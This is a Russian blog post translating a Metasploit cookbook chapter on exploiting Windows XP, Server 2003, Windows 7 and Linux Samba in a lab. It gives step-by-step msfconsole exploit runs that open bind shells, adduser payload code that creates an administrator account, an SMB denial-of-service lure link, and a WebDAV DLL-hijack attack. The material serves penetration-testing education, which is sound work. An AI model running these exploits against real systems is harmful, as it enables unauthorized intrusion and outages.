Всем привет!
Предлагаю вам перевод третей части книги "Metasploit Penetration Testing Cookbook". Не забудьте прочитать: часть 1, часть 2.
Глава 3 — Операционная система — оценка уязвимости и эксплуатация
В этой главе мы рассмотрим:
- Введение
- Использование эксплоита — простые советы
- Пен-тест Windows XP SP2
- Shell для удаленного доступа
- Пен-тест Windows Server 2003
- Пен-тест Windows 7/2008 R2
- Пен-тест Linux (Ubuntu/Debian)
- Разбор Windows DLL injection
Введение
В link-предыдущей главе, мы сфокусировались на сборе информации с целевой системы: IP-адрес, открытые порты, доступные сервисы/службы, ОС и т.д. Важным моментом при сборе информации является определение ОС. Эта информация поможет нам подобрать подходящий эксплоит(ы) и применить его (их).
Каждая ОС имеет те или иные ошибки. Как только появляется сообщение о какой либо ошибке, начинается процесс разработки эксплоитов. На черном рынке 0day уязвимости ценятся и цена варьируется от 50-10 USD, а то и больше.
В этой главе мы научимся проникать на ОС. Использовать эксплоиты и payloads, а также их параметры. Итак, давай приступим.
Использование эксплоита — простые советы
Перед тем как применять exploits и payloads на целевой машине, вы должны знать основы о них. Важно понять, как использовать эксплоиты, чтобы не допустить распространенные ошибки, которые могут возникнуть из-за неправильной конфигурации параметров.
Для того, чтобы начать использовать эксплоиты, нужно просканировать целевую машину. После того, как собрано достаточно информации о цели, след. шагом будет выбор подходящего эксплоита. Пройдемся по некоторым командам, которые применяются вместе с эксплоитами.
Список команд, которые будут полезны при использовании эксплоита:
msf > show exploits и msf > show payloads — эти две команды показывают список доступных эксплоитов и payloads.
msf > search exploit — команда будет искать конкретный эксплоит, например:
msf > search ms03_026_dcom
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC DCOM
msf > use exploit — команда устанавливает эксплоит в активное состояние, т.е. им можно пользоваться, например:
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >
show options — команда показывает, какие доступные опции или параметры используются в эксплоите. К ним относятся: IP-адрес, порты, потоки и т.п. Параметры, которые отмечены yes, должны обязательно иметь значения, чтобы эксплоит заработал, например:
msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port
set — эта команда задает значения для параметров/опций в эксплоите, см. след. команду:
msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102
RHOST =>102.168.56.102
msf exploit(ms03_026_dcom) >
Есть дополнительные команды: setg и unsetg. Они применяются, когда хотим изменить глобальные параметры, используемые в msfconsole. Позволяют чуть-чуть сэкономить время.
show targets — каждый exploit создан для атаки на конкретную службу/сервис. Эта команда показывает, какие цели могут быть атакованы, например:
msf exploit(ms03_026_dcom) > show targets
Exploit targets:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
Видим, что dcom exploit подходит для нескольких версий Windows.
Пен-тест Windows XP SP2
Будем считать, что сканирование целевой системы произведено и вся информация о ней собрана.
Основная задача будет заключаться в эксплоита, который будет использован на машине Windows XP SP2. Вы можете просмотреть директорию /exploits/windows или просто выполнить поиск по доступным эксплоитам для платформы Windows XP. Для проникновения на целевую машину, здесь мы будем использовать RPC dcom уязвимость. Давайте произведем поиск по RPC dcom, используя след. команду:
msf > search dcom
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- --- -----------
exploit/windowsdcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC
exploit/windows/driver/broadcom_wifi_ssid 2006-11-11 low Broadcom Wireless
exploit/windows/smb/ms04_031_netdde 2004-10-12 good Microsoft NetDDE
Как видим, поиск выдал нам три результата. Мы будем использовать первый, так как его Rank = greate. Следовательно у нас будет больше шансов взломать цель.
Теперь активируем эксплоит выполнив след. команду:
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >
Далее настроим параметры/опции эксплоита. Команда show options выдаст список доступных параметров:
msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
RHOST (remote host) обозначает IP-адрес хоста (наша цель). RPORT (remote port) — порт удаленного хоста. По умолчанию RPORT = 135. Для того, чтобы эксплоит запустился, нам нужно указать IP-адрес для RHOST:
msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST =>192.168.56.102
msf exploit(ms03_026_dcom) >
Стоит отметить, что ms03_026_dcom exploit имеет ID = 0. Это означает, что нам не нужно указывать, какая из Windows запущена на целевой машине. Эксплоит будет работать на любой Windows, которые в нем перечислены. В противном случае нам нужно было бы использовать команду show targets, чтобы указать конкретную ОС.
Теперь, когда значение RHOST установлено, можем попытаться запустить exploit, но получим ошибку. Так как мы не указали payload.
Следующий шаг, который мы должны сделать, это выбрать соответствующий payload. Мы можем воспользоваться командой show payloads, чтобы посмотреть список доступных payloads. Начнем с простого примера - windows/adduser. Этот payload добавит нового пользователя на целевую систему:
msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser
PAYLOAD =>windows/adduser
Теперь, если мы снова введем команду show options, появится список параметров для эксплоита, а также для payload'а:
Payload options (windows/adduser):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes seh, thread, process, none
PASS metasploit yes password for this user
USER metasploit yes The username to create
Как видим логин и пароль уже заданы — metasploit. Можем поменять их командами set PASS и set USER.
Теперь все готово для запуска эксплоита:
msf exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135] ...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
Последняя строка говорит на о том, что эксплоит выполнился успешно. Теперь на целевой машине добавлен новый пользователь. Вывод также говорит о том, что сессия не была создана, это объясняется тем, что в payload мы указали только adduser. Таким образом после завершения эксплоита, соединение будет завершено. В след. рецепте мы будем использовать payload для создания сессии.
Чтобы узнать больше об этой уязвимости, посетите Microsoft Security Bulletin - http://technet.microsoft.com/en-us/security/bulletin/ms03-026
Для того, чтобы понять, как работает adduser payload, проанализируйте след. Ruby код:
root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# less adduser.rb
The following part of the code that is of interest for us:
# Register command execution options
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
], self.class)
# Hide the CMD option
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || ''
if(pass.length >14)
raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
end
return "cmd.exe /c net user #{user} #{pass} /ADD &&" +
"net localgroup Administrators #{user} /ADD"
end
Код простой и содержит комментарии, проблем возникнуть не должно. Можете с ним поиграться, чтобы лучше понять, как работает(ют) payload(s).
Shell для удаленного доступа
В предыдущем рецепте, мы проанализировали, как применить эксплот для Windows SP2 машины и добавить акк нового пользователя. В этом рецепте мы пойдем дальше и «привяжем» shell, чтобы установить удаленное соединение с целевой системой и получить контроль над ней. Все, что нам нужно сделать, это воспользоваться другим payload'ом, который может создать shell на целевой системе.
Для того, чтобы привязать shell к целевой машине, нужно выполнить несколько простых шагов:
Шаг 1
Снова воспользуемся dcom exploit'ом. Установим параметры, а затем выберем payload:
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST =>192.168.56.102
Шаг 2
Эксплоит установлен, переходим к payload. Воспользуемся командой show payloads, чтобы посмотреть список доступный payloads. Будем использовать windows/shell/bind_tcp, который откроет TCP соединение на 4444 порте:
msf exploit(ms03_026_dcom) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD =>windows/shell/bind_tcp
Теперь, используя команду show options, можем настроить параметры, такие как: RHOST и изменить порт по умолчанию. После того, как параметры заданы, выполняем exploit:
msf exploit(ms03_026_dcom) > exploit
[*] Started reverse handler on 192.168.56.101:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:4444 ->192.168.56.102:1052) at 2011-10-31 01:55:42 +0530
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWSsystem32>
Эксплоит выполнен успешно и мы получили командную строку, запущенную в msfconsole. Для того, чтобы выйти выполните команду exit.
Чтобы понять, как работает bind_tcp, нам нужно немного подождать. Так как эта тема включает в себя некоторые понятия, которые будем рассматривать в след. главе (статье). Тем не менее, вы можете пока посмотреть/изучить, как работает payload Ruby код, перейдя в - /pentest/exploits/framework3/modules/payloads/stagers/windows/bind_tcp.rb.
Почитать о Metasploit можно, например здесь. Да, да — реклама =)
Пен-тест Windows Server 2003
В предыдущем рецепте мы узнали, как использовать dcom exploit. В этом разделе мы сосредоточим внимание на том, как эксплуатировать Windows 2003 Server. Windows 2003 Server широко используется в корпоративной среде. Здесь мы будем рассматривать netapi32.dll уязвимость. Давайте поскорее начнем.
Запускаем msfconsole, затем сканируем целевую систему.
Давайте начнем с поиска netapi:
msf > search netapi
Matching Modules
================
Name Disclosure Date Rank
---- --------------- ----
exploit/windows/smb/ms03_049_netapi 2003-11-11 good
exploit/windows/smb/ms06_040_netapi 2006-08-08 good
exploit/windows/smb/ms06_070_wkssvc 2006-11-14 manual
exploit/windows/smb/ms08_067_netapi 2008-10-28 great
Видим, что выдалось четыре результата. Нам более предпочтительнее использовать последний эксплоит из списка, так как у него Rank = great:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
RHOST =>192.168.56.102
И снова, Id = 0 — это значит, что нам не нужно указывать целевую систему.
После того, как завершили загрузку эксплоита, следующим шагом будет загрузка payload'a:
msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp
payload =>windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.101
LHOST =>192.168.56.101
Теперь эксплоит и payload готовы. Остается выполнить команду exploit:
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 SERVER - Service Pack 2 - lang:English
[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:43408 ->192.168.56.102:4444) at 2011-11-02 21:25:30 +0530
C:WINDOWSsystem32>
Бинго! Мы получили shell на целевой машине.
Пен-тест Windows 7/2008 R2
В этом разделе будем обсуждать эксплоит для SMB клиента, который вызывает зависание системы и ее дальнейший крах. Эта уязвимость не предоставляет shell.
SMB клиент в ядре Microsoft Windows Server 2008 R2 и Windows 7 позволяет удаленным SMB серверам и человеку по середине (man-in-the-middle attacker) выполнить отказ в обслуживании (бесконечный цикл и зависание системы) через ответный пакет SMBv1/SMBv2. Этот пакет содержит неправильное значение длины в заголовке NetBIOS или дополнительное поле в конце пакета.
Metasploit содержит вспомогательный модуль auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop, который собственно и производит отказ в обслуживании. Перейдем к практике:
msf > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > show options
Module options (auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host..
SRVPORT 445 yes The SMB port to listen
SSL false no Negotiate SSL..
SSLCert no Path to a custom SSL
SSLVersion SSL3 no Specify the version..
Единственный параметр, который нужно настроить — SRVHOST. Из столбца Description понятно, что это IP-адрес пен-тестера, т.е. ваш:
msf auxiliary(ms10_006_negotiate_response_loop) > set SRVHOST 192.168.56.101
SRVHOST =>192.168.56.101
Для запуска используем команду run. Как только модуль выполнится, он сгенерирует ссылку на общую папку \192.168.56.101SharedAnything:
msf auxiliary(ms10_006_negotiate_response_loop) > run
[*] Starting the malicious SMB service...
[*] To trigger, the vulnerable client should try to access: \192.168.56.101SharedAnything
[*] Server started
Теперь эту ссылку отправляем пользователю. И когда он перейдет по ней, произойдет крах системы, т.е. система перезагрузится.
Пен-тест Linux (Ubuntu/Debian)
Linux, также является широко используемой ОС после Windows. В этом рецепте для пен-теста будем использовать Ubuntu 9.0. Процесс взлома будет аналогичен для любой Linux и Solaris ОС, главное чтобы на них работала служба/демон Samba.
Начнем со сканирования и сбора информации о целевой системе. Давайте выполним быстрое сканирование в Nmap и проанализируем результаты:
msf > nmap -sT 192.168.56.101
[*] exec: nmap 192.168.56.101
Starting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.56.101
Host is up (0.00048s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)|_html-title: Index of /
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/)
След. шагом нужно подобрать подходящий эксплоит и настроить payload. Поищем подходящий Samba exploit:
msf > search Samba
Появится список эксплоитов. Мы воспользуемся этим - exploit/linux/samba/lsa_transnames_heap, у которого Rank = good:
<
source lang=«bash»>msf > use exploit/linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
Name Current Setting Required Description
— — — — RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE LSARPC yes The pipe name to use
Exploit target:
Id Name
— — 0 Linux vsyscall
msf exploit(lsa_transnames_heap) > set RHOST 192.168.56.101
RHOST =>192.168.56.101
msf exploit(lsa_transnames_heap) >
След. шагом будет установка payload. В качестве payload будет использовать linux/x86/shell_bind_tcp:
msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_bind_tcp
payload =>linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.56.101 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE LSARPC yes The pipe name to use
Payload options (linux/x86/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 192.168.56.101 no The target address
Все готово. Последним шагом будет команда exploit:
msf exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...
В случае успешного выполнения эксплоита, нам будет предоставлен shell на целевой машине. Весь процесс, который мы сейчас проделали очень похож на предыдущие, разница лишь в эксплоите и payload. Чем больше вы будите практиковаться, тем больше будите понимать Metasploit.
Samba использует общие принтеры и папки для обмена данными между Linux и Windows ОС. Модуль, который мы рассмотрели в этом рецепте вызывает переполнение кучи в службе LSA RPC, демона Samba. Есть шансы, что эксплоит завершится неудачей с первой попытки, поэтому попробуйте повторить его несколько раз, чтобы добиться успеха.
Давайте рассмотрим некоторые другие модули, связанные с ОС Linux. Настоятельно рекомендую ознакомиться с ними самостоятельно, чтобы глубже понять процесс взлома. К ним относятся:
- Samba trans2open Overflow
- Samba chain_reply Memory Corruption
Разбор Windows DLL injection
В этом рецепте мы будем иметь дело с особым эксплоитом, которого не существует в ОС Winodws. На самом деле он присутствует в программном обеспечении, работающем в Windows. Это удаленный вектор атаки, который затрагивает загрузку внешних библиотек.
Атака предполагает создание уязвимых путей или каталогов.
Рассмотрим практическую реализацию DLL инъекции. В этом примере целевой системой будет Windows 7 Ultimate. Давайте начнем.
В качестве эксплоита будем использовать модуль exploit/windows/browser/webdav_dll_hijacker, а в качестве payload - windows/meterpreter/bind_tcp:
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set payload windows/meterpreter/bind_tcp
payload =>windows/meterpreter/bind_tcp
msf exploit(webdav_dll_hijacker) > show options
Module options (exploit/windows/browser/webdav_dll_hijacker):
Name Current Setting Required Description
---- --------------- -------- -----------
BASENAME policy yes The base name for the listed
EXTENSIONS txt yes The list of extensions
SHARENAME documents yes The name of the top-level
SRVHOST 0.0.0.0 yes The local host...
SRVPORT 80 yes The daemon port to listen
SSLCert no Path to a custom SSL..
URIPATH / yes The URI to use
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh..
LPORT 4444 yes The listen port
RHOST 192.168.56.102 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
Описывать каждый столбец не буду, так как в Description уже есть описание.
Теперь остается выполнить команду exploit:
msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started bind handler
[*]
[*] Exploit links are now available at
\192.168.56.101documents
Посмотрим, что происходит на целевой системе:
Как видим на целевой системе создался файл policy.txt. Файл полностью безвреден. Но, после того, как пользователь откроет этот файл, начнет работать DLL и вы увидите активность в msfconsole. После успешного выполнения DLL инъекции мы получим shell (см. следующий скриншот):
DLL (англ. dynamic-link library — «библиотека динамической компоновки», «динамически подключаемая библиотека») — понятие операционных систем Microsoft Windows и IBM OS/2, динамическая библиотека, позволяющая многократное использование различными программными приложениями. K DLL относятся также элементы управления ActiveX и драйверы. В мире UNIX аналогичные функции выполняют так называемые общие объекты (англ. shared objects). Когда приложение выполняется/запущено, функция loadlibrary() подгружает необходимые DLL. Если местоположение загрузки DLL не указано или содержит недостаточно подходящий путь, тогда Windows использует свои пути для определения. Одним из таких путей является рабочий каталог.
Когда целевой пользователь посещает общую папку, он переходит в контролируемую злоумышленником зону/территорию. Как? Общий файл policy.txt содержит недостаточно подходящий путь к DLL. Поэтому, когда пользователь запускает этот файл, Windows начинает искать пропавшую DLL. Далее… так как текущий каталог /documents находится под контролем атакующего, он/она может добавить вредоносный код в DLL, который Windows выполнит (т.к. текущий рабочий каталог является одним из мест, где по умолчанию Windows, ищет библиотеки). Таким образом устанавливается соединение/shell с целевой системой и системой атакующего.
Однако, мы можем искать DLL injection, для этого нам понадобится простой инструмент созданный H. D. Moore. (создатель Metasploit). - DllHijackAudit kit. Ознакомиться с этой утилитой можно тут.
Продолжение следует…
Автор: levinkv